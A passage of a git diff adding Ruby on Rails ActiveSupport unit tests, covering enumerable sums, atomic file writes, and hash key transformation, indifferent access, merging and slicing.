+ assert_equal Payment.new(0), GenericEnumerable.new([]).sum(Payment.new(0))
+ end
+
+ def test_range_sums
+ assert_equal 20, (1..4).sum { |i| i * 2 }
+ assert_equal 10, (1..4).sum
+ assert_equal 10, (1..4.5).sum
+ assert_equal 6, (1...4).sum
+ assert_equal 'abc', ('a'..'c').sum
+ assert_equal 50_000_005_000_000, (0..10_000_000).sum
+ assert_equal 0, (10..0).sum
+ assert_equal 5, (10..0).sum(5)
+ assert_equal 10, (10..10).sum
+ assert_equal 42, (10...10).sum(42)
+ end
+
+ def test_index_by
+ payments = GenericEnumerable.new([ Payment.new(5), Payment.new(15), Payment.new(10) ])
+ assert_equal({ 5 => Payment.new(5), 15 => Payment.new(15), 10 => Payment.new(10) },
+ payments.index_by { |p| p.price })
+ assert_equal Enumerator, payments.index_by.class
+ assert_equal({ 5 => Payment.new(5), 15 => Payment.new(15), 10 => Payment.new(10) },
+ payments.index_by.each { |p| p.price })
+ end
+
+ def test_many
+ assert_equal false, GenericEnumerable.new([] ).many?
+ assert_equal false, GenericEnumerable.new([ 1 ] ).many?
+ assert_equal true, GenericEnumerable.new([ 1, 2 ] ).many?
+
+ assert_equal false, GenericEnumerable.new([] ).many? {|x| x > 1 }
+ assert_equal false, GenericEnumerable.new([ 2 ] ).many? {|x| x > 1 }
+ assert_equal false, GenericEnumerable.new([ 1, 2 ] ).many? {|x| x > 1 }
+ assert_equal true, GenericEnumerable.new([ 1, 2, 2 ]).many? {|x| x > 1 }
+ end
+
+ def test_many_iterates_only_on_what_is_needed
+ infinity = 1.0/0.0
+ very_long_enum = 0..infinity
+ assert_equal true, very_long_enum.many?
+ assert_equal true, very_long_enum.many?{|x| x > 100}
+ end
+
+ def test_exclude?
+ assert_equal true, GenericEnumerable.new([ 1 ]).exclude?(2)
+ assert_equal false, GenericEnumerable.new([ 1 ]).exclude?(1)
+ end
+end
diff --git a/activesupport/test/core_ext/file_test.rb b/activesupport/test/core_ext/file_test.rb
new file mode 100644
index 0000000..2c04e96
--- /dev/null
+++ b/activesupport/test/core_ext/file_test.rb
@@ -0,0 +1,68 @@
+require 'abstract_unit'
+require 'active_support/core_ext/file'
+
+class AtomicWriteTest < ActiveSupport::TestCase
+ def test_atomic_write_without_errors
+ contents = "Atomic Text"
+ File.atomic_write(file_name, Dir.pwd) do |file|
+ file.write(contents)
+ assert !File.exist?(file_name)
+ end
+ assert File.exist?(file_name)
+ assert_equal contents, File.read(file_name)
+ ensure
+ File.unlink(file_name) rescue nil
+ end
+
+ def test_atomic_write_doesnt_write_when_block_raises
+ File.atomic_write(file_name) do |file|
+ file.write("testing")
+ raise "something bad"
+ end
+ rescue
+ assert !File.exist?(file_name)
+ end
+
+ def test_atomic_write_preserves_file_permissions
+ contents = "Atomic Text"
+ File.open(file_name, "w", 0755) do |file|
+ file.write(contents)
+ assert File.exist?(file_name)
+ end
+ assert File.exist?(file_name)
+ assert_equal 0100755 & ~File.umask, file_mode
+ assert_equal contents, File.read(file_name)
+
+ File.atomic_write(file_name, Dir.pwd) do |file|
+ file.write(contents)
+ assert File.exist?(file_name)
+ end
+ assert File.exist?(file_name)
+ assert_equal 0100755 & ~File.umask, file_mode
+ assert_equal contents, File.read(file_name)
+ ensure
+ File.unlink(file_name) rescue nil
+ end
+
+ def test_atomic_write_preserves_default_file_permissions
+ contents = "Atomic Text"
+ File.atomic_write(file_name, Dir.pwd) do |file|
+ file.write(contents)
+ assert !File.exist?(file_name)
+ end
+ assert File.exist?(file_name)
+ assert_equal File.probe_stat_in(Dir.pwd).mode, file_mode
+ assert_equal contents, File.read(file_name)
+ ensure
+ File.unlink(file_name) rescue nil
+ end
+
+ private
+ def file_name
+ "atomic.file"
+ end
+
+ def file_mode
+ File.stat(file_name).mode
+ end
+end
diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb
new file mode 100644
index 0000000..30d95b7
--- /dev/null
+++ b/activesupport/test/core_ext/hash_ext_test.rb
@@ -0,0 +1,1455 @@
+require 'abstract_unit'
+require 'active_support/core_ext/hash'
+require 'bigdecimal'
+require 'active_support/core_ext/string/access'
+require 'active_support/ordered_hash'
+require 'active_support/core_ext/object/conversions'
+require 'active_support/core_ext/object/deep_dup'
+require 'active_support/inflections'
+
+class HashExtTest < ActiveSupport::TestCase
+ class IndifferentHash < ActiveSupport::HashWithIndifferentAccess
+ end
+
+ class SubclassingArray < Array
+ end
+
+ class SubclassingHash < Hash
+ end
+
+ class NonIndifferentHash < Hash
+ def nested_under_indifferent_access
+ self
+ end
+ end
+
+ def setup
+ @strings = { 'a' => 1, 'b' => 2 }
+ @nested_strings = { 'a' => { 'b' => { 'c' => 3 } } }
+ @symbols = { :a => 1, :b => 2 }
+ @nested_symbols = { :a => { :b => { :c => 3 } } }
+ @mixed = { :a => 1, 'b' => 2 }
+ @nested_mixed = { 'a' => { :b => { 'c' => 3 } } }
+ @fixnums = { 0 => 1, 1 => 2 }
+ @nested_fixnums = { 0 => { 1 => { 2 => 3} } }
+ @illegal_symbols = { [] => 3 }
+ @nested_illegal_symbols = { [] => { [] => 3} }
+ @upcase_strings = { 'A' => 1, 'B' => 2 }
+ @nested_upcase_strings = { 'A' => { 'B' => { 'C' => 3 } } }
+ end
+
+ def test_methods
+ h = {}
+ assert_respond_to h, :transform_keys
+ assert_respond_to h, :transform_keys!
+ assert_respond_to h, :deep_transform_keys
+ assert_respond_to h, :deep_transform_keys!
+ assert_respond_to h, :symbolize_keys
+ assert_respond_to h, :symbolize_keys!
+ assert_respond_to h, :deep_symbolize_keys
+ assert_respond_to h, :deep_symbolize_keys!
+ assert_respond_to h, :stringify_keys
+ assert_respond_to h, :stringify_keys!
+ assert_respond_to h, :deep_stringify_keys
+ assert_respond_to h, :deep_stringify_keys!
+ assert_respond_to h, :to_options
+ assert_respond_to h, :to_options!
+ end
+
+ def test_transform_keys
+ assert_equal @upcase_strings, @strings.transform_keys{ |key| key.to_s.upcase }
+ assert_equal @upcase_strings, @symbols.transform_keys{ |key| key.to_s.upcase }
+ assert_equal @upcase_strings, @mixed.transform_keys{ |key| key.to_s.upcase }
+ end
+
+ def test_transform_keys_not_mutates
+ transformed_hash = @mixed.dup
+ transformed_hash.transform_keys{ |key| key.to_s.upcase }
+ assert_equal @mixed, transformed_hash
+ end
+
+ def test_deep_transform_keys
+ assert_equal @nested_upcase_strings, @nested_symbols.deep_transform_keys{ |key| key.to_s.upcase }
+ assert_equal @nested_upcase_strings, @nested_strings.deep_transform_keys{ |key| key.to_s.upcase }
+ assert_equal @nested_upcase_strings, @nested_mixed.deep_transform_keys{ |key| key.to_s.upcase }
+ end
+
+ def test_deep_transform_keys_not_mutates
+ transformed_hash = @nested_mixed.deep_dup
+ transformed_hash.deep_transform_keys{ |key| key.to_s.upcase }
+ assert_equal @nested_mixed, transformed_hash
+ end
+
+ def test_transform_keys!
+ assert_equal @upcase_strings, @symbols.dup.transform_keys!{ |key| key.to_s.upcase }
+ assert_equal @upcase_strings, @strings.dup.transform_keys!{ |key| key.to_s.upcase }
+ assert_equal @upcase_strings, @mixed.dup.transform_keys!{ |key| key.to_s.upcase }
+ end
+
+ def test_transform_keys_with_bang_mutates
+ transformed_hash = @mixed.dup
+ transformed_hash.transform_keys!{ |key| key.to_s.upcase }
+ assert_equal @upcase_strings, transformed_hash
+ assert_equal @mixed, { :a => 1, "b" => 2 }
+ end
+
+ def test_deep_transform_keys!
+ assert_equal @nested_upcase_strings, @nested_symbols.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
+ assert_equal @nested_upcase_strings, @nested_strings.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
+ assert_equal @nested_upcase_strings, @nested_mixed.deep_dup.deep_transform_keys!{ |key| key.to_s.upcase }
+ end
+
+ def test_deep_transform_keys_with_bang_mutates
+ transformed_hash = @nested_mixed.deep_dup
+ transformed_hash.deep_transform_keys!{ |key| key.to_s.upcase }
+ assert_equal @nested_upcase_strings, transformed_hash
+ assert_equal @nested_mixed, { 'a' => { :b => { 'c' => 3 } } }
+ end
+
+ def test_symbolize_keys
+ assert_equal @symbols, @symbols.symbolize_keys
+ assert_equal @symbols, @strings.symbolize_keys
+ assert_equal @symbols, @mixed.symbolize_keys
+ end
+
+ def test_symbolize_keys_not_mutates
+ transformed_hash = @mixed.dup
+ transformed_hash.symbolize_keys
+ assert_equal @mixed, transformed_hash
+ end
+
+ def test_deep_symbolize_keys
+ assert_equal @nested_symbols, @nested_symbols.deep_symbolize_keys
+ assert_equal @nested_symbols, @nested_strings.deep_symbolize_keys
+ assert_equal @nested_symbols, @nested_mixed.deep_symbolize_keys
+ end
+
+ def test_deep_symbolize_keys_not_mutates
+ transformed_hash = @nested_mixed.deep_dup
+ transformed_hash.deep_symbolize_keys
+ assert_equal @nested_mixed, transformed_hash
+ end
+
+ def test_symbolize_keys!
+ assert_equal @symbols, @symbols.dup.symbolize_keys!
+ assert_equal @symbols, @strings.dup.symbolize_keys!
+ assert_equal @symbols, @mixed.dup.symbolize_keys!
+ end
+
+ def test_symbolize_keys_with_bang_mutates
+ transformed_hash = @mixed.dup
+ transformed_hash.deep_symbolize_keys!
+ assert_equal @symbols, transformed_hash
+ assert_equal @mixed, { :a => 1, "b" => 2 }
+ end
+
+ def test_deep_symbolize_keys!
+ assert_equal @nested_symbols, @nested_symbols.deep_dup.deep_symbolize_keys!
+ assert_equal @nested_symbols, @nested_strings.deep_dup.deep_symbolize_keys!
+ assert_equal @nested_symbols, @nested_mixed.deep_dup.deep_symbolize_keys!
+ end
+
+ def test_deep_symbolize_keys_with_bang_mutates
+ transformed_hash = @nested_mixed.deep_dup
+ transformed_hash.deep_symbolize_keys!
+ assert_equal @nested_symbols, transformed_hash
+ assert_equal @nested_mixed, { 'a' => { :b => { 'c' => 3 } } }
+ end
+
+ def test_symbolize_keys_preserves_keys_that_cant_be_symbolized
+ assert_equal @illegal_symbols, @illegal_symbols.symbolize_keys
+ assert_equal @illegal_symbols, @illegal_symbols.dup.symbolize_keys!
+ end
+
+ def test_deep_symbolize_keys_preserves_keys_that_cant_be_symbolized
+ assert_equal @nested_illegal_symbols, @nested_illegal_symbols.deep_symbolize_keys
+ assert_equal @nested_illegal_symbols, @nested_illegal_symbols.deep_dup.deep_symbolize_keys!
+ end
+
+ def test_symbolize_keys_preserves_fixnum_keys
+ assert_equal @fixnums, @fixnums.symbolize_keys
+ assert_equal @fixnums, @fixnums.dup.symbolize_keys!
+ end
+
+ def test_deep_symbolize_keys_preserves_fixnum_keys
+ assert_equal @nested_fixnums, @nested_fixnums.deep_symbolize_keys
+ assert_equal @nested_fixnums, @nested_fixnums.deep_dup.deep_symbolize_keys!
+ end
+
+ def test_stringify_keys
+ assert_equal @strings, @symbols.stringify_keys
+ assert_equal @strings, @strings.stringify_keys
+ assert_equal @strings, @mixed.stringify_keys
+ end
+
+ def test_stringify_keys_not_mutates
+ transformed_hash = @mixed.dup
+ transformed_hash.stringify_keys
+ assert_equal @mixed, transformed_hash
+ end
+
+ def test_deep_stringify_keys
+ assert_equal @nested_strings, @nested_symbols.deep_stringify_keys
+ assert_equal @nested_strings, @nested_strings.deep_stringify_keys
+ assert_equal @nested_strings, @nested_mixed.deep_stringify_keys
+ end
+
+ def test_deep_stringify_keys_not_mutates
+ transformed_hash = @nested_mixed.deep_dup
+ transformed_hash.deep_stringify_keys
+ assert_equal @nested_mixed, transformed_hash
+ end
+
+ def test_stringify_keys!
+ assert_equal @strings, @symbols.dup.stringify_keys!
+ assert_equal @strings, @strings.dup.stringify_keys!
+ assert_equal @strings, @mixed.dup.stringify_keys!
+ end
+
+ def test_stringify_keys_with_bang_mutates
+ transformed_hash = @mixed.dup
+ transformed_hash.stringify_keys!
+ assert_equal @strings, transformed_hash
+ assert_equal @mixed, { :a => 1, "b" => 2 }
+ end
+
+ def test_deep_stringify_keys!
+ assert_equal @nested_strings, @nested_symbols.deep_dup.deep_stringify_keys!
+ assert_equal @nested_strings, @nested_strings.deep_dup.deep_stringify_keys!
+ assert_equal @nested_strings, @nested_mixed.deep_dup.deep_stringify_keys!
+ end
+
+ def test_deep_stringify_keys_with_bang_mutates
+ transformed_hash = @nested_mixed.deep_dup
+ transformed_hash.deep_stringify_keys!
+ assert_equal @nested_strings, transformed_hash
+ assert_equal @nested_mixed, { 'a' => { :b => { 'c' => 3 } } }
+ end
+
+ def test_symbolize_keys_for_hash_with_indifferent_access
+ assert_instance_of Hash, @symbols.with_indifferent_access.symbolize_keys
+ assert_equal @symbols, @symbols.with_indifferent_access.symbolize_keys
+ assert_equal @symbols, @strings.with_indifferent_access.symbolize_keys
+ assert_equal @symbols, @mixed.with_indifferent_access.symbolize_keys
+ end
+
+ def test_deep_symbolize_keys_for_hash_with_indifferent_access
+ assert_instance_of Hash, @nested_symbols.with_indifferent_access.deep_symbolize_keys
+ assert_equal @nested_symbols, @nested_symbols.with_indifferent_access.deep_symbolize_keys
+ assert_equal @nested_symbols, @nested_strings.with_indifferent_access.deep_symbolize_keys
+ assert_equal @nested_symbols, @nested_mixed.with_indifferent_access.deep_symbolize_keys
+ end
+
+
+ def test_symbolize_keys_bang_for_hash_with_indifferent_access
+ assert_raise(NoMethodError) { @symbols.with_indifferent_access.dup.symbolize_keys! }
+ assert_raise(NoMethodError) { @strings.with_indifferent_access.dup.symbolize_keys! }
+ assert_raise(NoMethodError) { @mixed.with_indifferent_access.dup.symbolize_keys! }
+ end
+
+ def test_deep_symbolize_keys_bang_for_hash_with_indifferent_access
+ assert_raise(NoMethodError) { @nested_symbols.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+ assert_raise(NoMethodError) { @nested_strings.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+ assert_raise(NoMethodError) { @nested_mixed.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+ end
+
+ def test_symbolize_keys_preserves_keys_that_cant_be_symbolized_for_hash_with_indifferent_access
+ assert_equal @illegal_symbols, @illegal_symbols.with_indifferent_access.symbolize_keys
+ assert_raise(NoMethodError) { @illegal_symbols.with_indifferent_access.dup.symbolize_keys! }
+ end
+
+ def test_deep_symbolize_keys_preserves_keys_that_cant_be_symbolized_for_hash_with_indifferent_access
+ assert_equal @nested_illegal_symbols, @nested_illegal_symbols.with_indifferent_access.deep_symbolize_keys
+ assert_raise(NoMethodError) { @nested_illegal_symbols.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+ end
+
+ def test_symbolize_keys_preserves_fixnum_keys_for_hash_with_indifferent_access
+ assert_equal @fixnums, @fixnums.with_indifferent_access.symbolize_keys
+ assert_raise(NoMethodError) { @fixnums.with_indifferent_access.dup.symbolize_keys! }
+ end
+
+ def test_deep_symbolize_keys_preserves_fixnum_keys_for_hash_with_indifferent_access
+ assert_equal @nested_fixnums, @nested_fixnums.with_indifferent_access.deep_symbolize_keys
+ assert_raise(NoMethodError) { @nested_fixnums.with_indifferent_access.deep_dup.deep_symbolize_keys! }
+ end
+
+ def test_stringify_keys_for_hash_with_indifferent_access
+ assert_instance_of ActiveSupport::HashWithIndifferentAccess, @symbols.with_indifferent_access.stringify_keys
+ assert_equal @strings, @symbols.with_indifferent_access.stringify_keys
+ assert_equal @strings, @strings.with_indifferent_access.stringify_keys
+ assert_equal @strings, @mixed.with_indifferent_access.stringify_keys
+ end
+
+ def test_deep_stringify_keys_for_hash_with_indifferent_access
+ assert_instance_of ActiveSupport::HashWithIndifferentAccess, @nested_symbols.with_indifferent_access.deep_stringify_keys
+ assert_equal @nested_strings, @nested_symbols.with_indifferent_access.deep_stringify_keys
+ assert_equal @nested_strings, @nested_strings.with_indifferent_access.deep_stringify_keys
+ assert_equal @nested_strings, @nested_mixed.with_indifferent_access.deep_stringify_keys
+ end
+
+ def test_stringify_keys_bang_for_hash_with_indifferent_access
+ assert_instance_of ActiveSupport::HashWithIndifferentAccess, @symbols.with_indifferent_access.dup.stringify_keys!
+ assert_equal @strings, @symbols.with_indifferent_access.dup.stringify_keys!
+ assert_equal @strings, @strings.with_indifferent_access.dup.stringify_keys!
+ assert_equal @strings, @mixed.with_indifferent_access.dup.stringify_keys!
+ end
+
+ def test_deep_stringify_keys_bang_for_hash_with_indifferent_access
+ assert_instance_of ActiveSupport::HashWithIndifferentAccess, @nested_symbols.with_indifferent_access.dup.deep_stringify_keys!
+ assert_equal @nested_strings, @nested_symbols.with_indifferent_access.deep_dup.deep_stringify_keys!
+ assert_equal @nested_strings, @nested_strings.with_indifferent_access.deep_dup.deep_stringify_keys!
+ assert_equal @nested_strings, @nested_mixed.with_indifferent_access.deep_dup.deep_stringify_keys!
+ end
+
+ def test_nested_under_indifferent_access
+ foo = { "foo" => SubclassingHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
+ assert_kind_of ActiveSupport::HashWithIndifferentAccess, foo["foo"]
+
+ foo = { "foo" => NonIndifferentHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
+ assert_kind_of NonIndifferentHash, foo["foo"]
+
+ foo = { "foo" => IndifferentHash.new.tap { |h| h["bar"] = "baz" } }.with_indifferent_access
+ assert_kind_of IndifferentHash, foo["foo"]
+ end
+
+ def test_indifferent_assorted
+ @strings = @strings.with_indifferent_access
+ @symbols = @symbols.with_indifferent_access
+ @mixed = @mixed.with_indifferent_access
+
+ assert_equal 'a', @strings.__send__(:convert_key, :a)
+
+ assert_equal 1, @strings.fetch('a')
+ assert_equal 1, @strings.fetch(:a.to_s)
+ assert_equal 1, @strings.fetch(:a)
+
+ hashes = { :@strings => @strings, :@symbols => @symbols, :@mixed => @mixed }
+ method_map = { :'[]' => 1, :fetch => 1, :values_at => [1],
+ :has_key? => true, :include? => true, :key? => true,
+ :member? => true }
+
+ hashes.each do |name, hash|
+ method_map.sort_by { |m| m.to_s }.each do |meth, expected|
+ assert_equal(expected, hash.__send__(meth, 'a'),
+ "Calling #{name}.#{meth} 'a'")
+ assert_equal(expected, hash.__send__(meth, :a),
+ "Calling #{name}.#{meth} :a")
+ end
+ end
+
+ assert_equal [1, 2], @strings.values_at('a', 'b')
+ assert_equal [1, 2], @strings.values_at(:a, :b)
+ assert_equal [1, 2], @symbols.values_at('a', 'b')
+ assert_equal [1, 2], @symbols.values_at(:a, :b)
+ assert_equal [1, 2], @mixed.values_at('a', 'b')
+ assert_equal [1, 2], @mixed.values_at(:a, :b)
+ end
+
+ def test_indifferent_reading
+ hash = HashWithIndifferentAccess.new
+ hash["a"] = 1
+ hash["b"] = true
+ hash["c"] = false
+ hash["d"] = nil
+
+ assert_equal 1, hash[:a]
+ assert_equal true, hash[:b]
+ assert_equal false, hash[:c]
+ assert_equal nil, hash[:d]
+ assert_equal nil, hash[:e]
+ end
+
+ def test_indifferent_reading_with_nonnil_default
+ hash = HashWithIndifferentAccess.new(1)
+ hash["a"] = 1
+ hash["b"] = true
+ hash["c"] = false
+ hash["d"] = nil
+
+ assert_equal 1, hash[:a]
+ assert_equal true, hash[:b]
+ assert_equal false, hash[:c]
+ assert_equal nil, hash[:d]
+ assert_equal 1, hash[:e]
+ end
+
+ def test_indifferent_writing
+ hash = HashWithIndifferentAccess.new
+ hash[:a] = 1
+ hash['b'] = 2
+ hash[3] = 3
+
+ assert_equal hash['a'], 1
+ assert_equal hash['b'], 2
+ assert_equal hash[:a], 1
+ assert_equal hash[:b], 2
+ assert_equal hash[3], 3
+ end
+
+ def test_indifferent_update
+ hash = HashWithIndifferentAccess.new
+ hash[:a] = 'a'
+ hash['b'] = 'b'
+
+ updated_with_strings = hash.update(@strings)
+ updated_with_symbols = hash.update(@symbols)
+ updated_with_mixed = hash.update(@mixed)
+
+ assert_equal updated_with_strings[:a], 1
+ assert_equal updated_with_strings['a'], 1
+ assert_equal updated_with_strings['b'], 2
+
+ assert_equal updated_with_symbols[:a], 1
+ assert_equal updated_with_symbols['b'], 2
+ assert_equal updated_with_symbols[:b], 2
+
+ assert_equal updated_with_mixed[:a], 1
+ assert_equal updated_with_mixed['b'], 2
+
+ assert [updated_with_strings, updated_with_symbols, updated_with_mixed].all? { |h| h.keys.size == 2 }
+ end
+
+ def test_indifferent_merging
+ hash = HashWithIndifferentAccess.new
+ hash[:a] = 'failure'
+ hash['b'] = 'failure'
+
+ other = { 'a' => 1, :b => 2 }
+
+ merged = hash.merge(other)
+
+ assert_equal HashWithIndifferentAccess, merged.class
+ assert_equal 1, merged[:a]
+ assert_equal 2, merged['b']
+
+ hash.update(other)
+
+ assert_equal 1, hash[:a]
+ assert_equal 2, hash['b']
+ end
+
+ def test_indifferent_replace
+ hash = HashWithIndifferentAccess.new
+ hash[:a] = 42
+
+ replaced = hash.replace(b: 12)
+
+ assert hash.key?('b')
+ assert !hash.key?(:a)
+ assert_equal 12, hash[:b]
+ assert_same hash, replaced
+ end
+
+ def test_indifferent_merging_with_block
+ hash = HashWithIndifferentAccess.new
+ hash[:a] = 1
+ hash['b'] = 3
+
+ other = { 'a' => 4, :b => 2, 'c' => 10 }
+
+ merged = hash.merge(other) { |key, old, new| old > new ? old : new }
+
+ assert_equal HashWithIndifferentAccess, merged.class
+ assert_equal 4, merged[:a]
+ assert_equal 3, merged['b']
+ assert_equal 10, merged[:c]
+
+ other_indifferent = HashWithIndifferentAccess.new('a' => 9, :b => 2)
+
+ merged = hash.merge(other_indifferent) { |key, old, new| old + new }
+
+ assert_equal HashWithIndifferentAccess, merged.class
+ assert_equal 10, merged[:a]
+ assert_equal 5, merged[:b]
+ end
+
+ def test_indifferent_reverse_merging
+ hash = HashWithIndifferentAccess.new('some' => 'value', 'other' => 'value')
+ hash.reverse_merge!(:some => 'noclobber', :another => 'clobber')
+ assert_equal 'value', hash[:some]
+ assert_equal 'clobber', hash[:another]
+ end
+
+ def test_indifferent_deleting
+ get_hash = proc{ { :a => 'foo' }.with_indifferent_access }
+ hash = get_hash.call
+ assert_equal hash.delete(:a), 'foo'
+ assert_equal hash.delete(:a), nil
+ hash = get_hash.call
+ assert_equal hash.delete('a'), 'foo'
+ assert_equal hash.delete('a'), nil
+ end
+
+ def test_indifferent_to_hash
+ # Should convert to a Hash with String keys.
+ assert_equal @strings, @mixed.with_indifferent_access.to_hash
+
+ # Should preserve the default value.
+ mixed_with_default = @mixed.dup
+ mixed_with_default.default = '1234'
+ roundtrip = mixed_with_default.with_indifferent_access.to_hash
+ assert_equal @strings, roundtrip
+ assert_equal '1234', roundtrip.default
+ end
+
+ def test_lookup_returns_the_same_object_that_is_stored_in_hash_indifferent_access
+ hash = HashWithIndifferentAccess.new {|h, k| h[k] = []}
+ hash[:a] << 1
+
+ assert_equal [1], hash[:a]
+ end
+
+ def test_indifferent_hash_with_array_of_hashes
+ hash = { "urls" => { "url" => [ { "address" => "1" }, { "address" => "2" } ] }}.with_indifferent_access
+ assert_equal "1", hash[:urls][:url].first[:address]
+ end
+
+ def test_should_preserve_array_subclass_when_value_is_array
+ array = SubclassingArray.new
+ array << { "address" => "1" }
+ hash = { "urls" => { "url" => array }}.with_indifferent_access
+ assert_equal SubclassingArray, hash[:urls][:url].class
+ end
+
+ def test_should_preserve_array_class_when_hash_value_is_frozen_array
+ array = SubclassingArray.new
+ array << { "address" => "1" }
+ hash = { "urls" => { "url" => array.freeze }}.with_indifferent_access
+ assert_equal SubclassingArray, hash[:urls][:url].class
+ end
+
+ def test_stringify_and_symbolize_keys_on_indifferent_preserves_hash
+ h = HashWithIndifferentAccess.new
+ h[:first] = 1
+ h = h.stringify_keys
+ assert_equal 1, h['first']
+ h = HashWithIndifferentAccess.new
+ h['first'] = 1
+ h = h.symbolize_keys
+ assert_equal 1, h[:first]
+ end
+
+ def test_deep_stringify_and_deep_symbolize_keys_on_indifferent_preserves_hash
+ h = HashWithIndifferentAccess.new
+ h[:first] = 1
+ h = h.deep_stringify_keys
+ assert_equal 1, h['first']
+ h = HashWithIndifferentAccess.new
+ h['first'] = 1
+ h = h.deep_symbolize_keys
+ assert_equal 1, h[:first]
+ end
+
+ def test_to_options_on_indifferent_preserves_hash
+ h = HashWithIndifferentAccess.new
+ h['first'] = 1
+ h.to_options!
+ assert_equal 1, h['first']
+ end
+
+ def test_indifferent_subhashes
+ h = {'user' => {'id' => 5}}.with_indifferent_access
+ ['user', :user].each {|user| [:id, 'id'].each {|id| assert_equal 5, h[user][id], "h[#{user.inspect}][#{id.inspect}] should be 5"}}
+
+ h = {:user => {:id => 5}}.with_indifferent_access
+ ['user', :user].each {|user| [:id, 'id'].each {|id| assert_equal 5, h[user][id], "h[#{user.inspect}][#{id.inspect}] should be 5"}}
+ end
+
+ def test_indifferent_duplication
+ # Should preserve default value
+ h = HashWithIndifferentAccess.new
+ h.default = '1234'
+ assert_equal h.default, h.dup.default
+
+ # Should preserve class for subclasses
+ h = IndifferentHash.new
+ assert_equal h.class, h.dup.class
+ end
+
+ def test_assert_valid_keys
+ assert_nothing_raised do
+ { :failure => "stuff", :funny => "business" }.assert_valid_keys([ :failure, :funny ])
+ { :failure => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
+ end
+
+ assert_raise(ArgumentError, "Unknown key: failore") do
+ { :failore => "stuff", :funny => "business" }.assert_valid_keys([ :failure, :funny ])
+ { :failore => "stuff", :funny => "business" }.assert_valid_keys(:failure, :funny)
+ end
+ end
+
+ def test_assorted_keys_not_stringified
+ original = {Object.new => 2, 1 => 2, [] => true}
+ indiff = original.with_indifferent_access
+ assert(!indiff.keys.any? {|k| k.kind_of? String}, "A key was converted to a string!")
+ end
+
+ def test_deep_merge
+ hash_1 = { :a => "a", :b => "b", :c => { :c1 => "c1", :c2 => "c2", :c3 => { :d1 => "d1" } } }
+ hash_2 = { :a => 1, :c => { :c1 => 2, :c3 => { :d2 => "d2" } } }
+ expected = { :a => 1, :b => "b", :c => { :c1 => 2, :c2 => "c2", :c3 => { :d1 => "d1", :d2 => "d2" } } }
+ assert_equal expected, hash_1.deep_merge(hash_2)
+
+ hash_1.deep_merge!(hash_2)
+ assert_equal expected, hash_1
+ end
+
+ def test_deep_merge_with_block
+ hash_1 = { :a => "a", :b => "b", :c => { :c1 => "c1", :c2 => "c2", :c3 => { :d1 => "d1" } } }
+ hash_2 = { :a => 1, :c => { :c1 => 2, :c3 => { :d2 => "d2" } } }
+ expected = { :a => [:a, "a", 1], :b => "b", :c => { :c1 => [:c1, "c1", 2], :c2 => "c2", :c3 => { :d1 => "d1", :d2 => "d2" } } }
+ assert_equal(expected, hash_1.deep_merge(hash_2) { |k,o,n| [k, o, n] })
+
+ hash_1.deep_merge!(hash_2) { |k,o,n| [k, o, n] }
+ assert_equal expected, hash_1
+ end
+
+ def test_deep_merge_on_indifferent_access
+ hash_1 = HashWithIndifferentAccess.new({ :a => "a", :b => "b", :c => { :c1 => "c1", :c2 => "c2", :c3 => { :d1 => "d1" } } })
+ hash_2 = HashWithIndifferentAccess.new({ :a => 1, :c => { :c1 => 2, :c3 => { :d2 => "d2" } } })
+ hash_3 = { :a => 1, :c => { :c1 => 2, :c3 => { :d2 => "d2" } } }
+ expected = { "a" => 1, "b" => "b", "c" => { "c1" => 2, "c2" => "c2", "c3" => { "d1" => "d1", "d2" => "d2" } } }
+ assert_equal expected, hash_1.deep_merge(hash_2)
+ assert_equal expected, hash_1.deep_merge(hash_3)
+
+ hash_1.deep_merge!(hash_2)
+ assert_equal expected, hash_1
+ end
+
+ def test_store_on_indifferent_access
+ hash = HashWithIndifferentAccess.new
+ hash.store(:test1, 1)
+ hash.store('test1', 11)
+ hash[:test2] = 2
+ hash['test2'] = 22
+ expected = { "test1" => 11, "test2" => 22 }
+ assert_equal expected, hash
+ end
+
+ def test_constructor_on_indifferent_access
+ hash = HashWithIndifferentAccess[:foo, 1]
+ assert_equal 1, hash[:foo]
+ assert_equal 1, hash['foo']
+ hash[:foo] = 3
+ assert_equal 3, hash[:foo]
+ assert_equal 3, hash['foo']
+ end
+
+ def test_reverse_merge
+ defaults = { :a => "x", :b => "y", :c => 10 }.freeze
+ options = { :a => 1, :b => 2 }
+ expected = { :a => 1, :b => 2, :c => 10 }
+
+ # Should merge defaults into options, creating a new hash.
+ assert_equal expected, options.reverse_merge(defaults)
+ assert_not_equal expected, options
+
+ # Should merge! defaults into options, replacing options.
+ merged = options.dup
+ assert_equal expected, merged.reverse_merge!(defaults)
+ assert_equal expected, merged
+
+ # Should be an alias for reverse_merge!
+ merged = options.dup
+ assert_equal expected, merged.reverse_update(defaults)
+ assert_equal expected, merged
+ end
+
+ def test_diff
+ assert_deprecated do
+ assert_equal({ :a => 2 }, { :a => 2, :b => 5 }.diff({ :a => 1, :b => 5 }))
+ end
+ end
+
+ def test_slice
+ original = { :a => 'x', :b => 'y', :c => 10 }
+ expected = { :a => 'x', :b => 'y' }
+
+ # Should return a new hash with only the given keys.
+ assert_equal expected, original.slice(:a, :b)
+ assert_not_equal expected, original
+ end
+
+ def test_slice_inplace
+ original = { :a => 'x', :b => 'y', :c => 10 }
+ expected = { :c => 10 }
+
+ # Should replace the hash with only the given keys.
+ assert_equal expected, original.slice!(:a, :b)
+ end
+
+ def test_slice_with_an_array_key
+ original = { :a => 'x', :b => 'y', :c => 10, [:a, :b] => "an array key" }
+ expected = { [:a, :b] => "an array key", :c => 10 }
+
+ # Should return a new hash with only the given keys when given an array key.
+ assert_equal expected, original.slice([:a, :b], :c)
+ assert_not_equal expected, original
+ end
+
+ def test_slice_inplace_with_an_array_key
+ original = { :a => 'x', :b => 'y', :c => 10, [:a, :b] => "an array key" }
+ expected = { :a => 'x', :b => 'y' }
+
+ # Should replace the hash with only the given keys when given an array key.
+ assert_equal expected, original.slice!([:a, :b], :c)
+ end
+
+ def test_slice_with_splatted_keys
